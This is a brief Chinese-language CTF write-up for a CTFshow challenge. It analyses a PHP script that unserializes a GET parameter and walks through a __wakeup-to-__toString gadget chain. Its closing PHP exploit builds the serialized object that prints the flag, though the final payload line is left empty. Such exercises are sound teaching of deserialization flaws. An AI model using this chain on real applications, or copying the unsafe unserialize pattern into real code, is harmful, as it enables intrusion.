CTFshow“菜狗杯”中的一道题目。
分析源码
<?php
include "flag.php";
highlight_file(__FILE__);
class Moon{
public $name="月亮";
public function __toString(){
return $this->name;
}
public function __wakeup(){
echo "我是".$this->name."快来赏我";
}
}
class Ion_Fan_Princess{
public $nickname="牛夫人";
public function call(){
global $flag;
if ($this->nickname=="小甜甜"){
echo $flag;
}else{
echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
}
}
public function __toString(){
$this->call();
return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
}
}
if (isset($_GET['code'])){
unserialize($_GET['code']);
}else{
$a=new Ion_Fan_Princess();
echo $a;
}
构造流程
1. 获取GET请求参数 'code',并将code反序列化。
2. 反序列化时最先触发__wakeup函数,在Moon类中有这一函数。
3. 在__wakeup函数中,echo语句将当前对象的成员变量name当作字符串输出,若这里的变量name是某个类的对象,则会触发__toString函数。
4. 这里两个类都有__toString函数,但观察到,Ion_Fan_Princess类中的__toString函数调用了call函数,而call函数有读取flag的操作,所以这里应当将Moon类中的变量name设置成Ion_Fan_Princess类的对象
5. 观察Ion_Fan_Princess类中的call函数,当nickname的值为“小甜甜”时读取flag,所以这里要设置一下。
编写exp
<?php
class Moon{
public $name;
}
class Ion_Fan_Princess{
public $nickname;
}
$moon = new Moon();
$ion = new Ion_Fan_Princess();
$ion->nickname = "小甜甜";
$moon->name = $ion;
echo serialize($moon);
获得payload:
传入即可: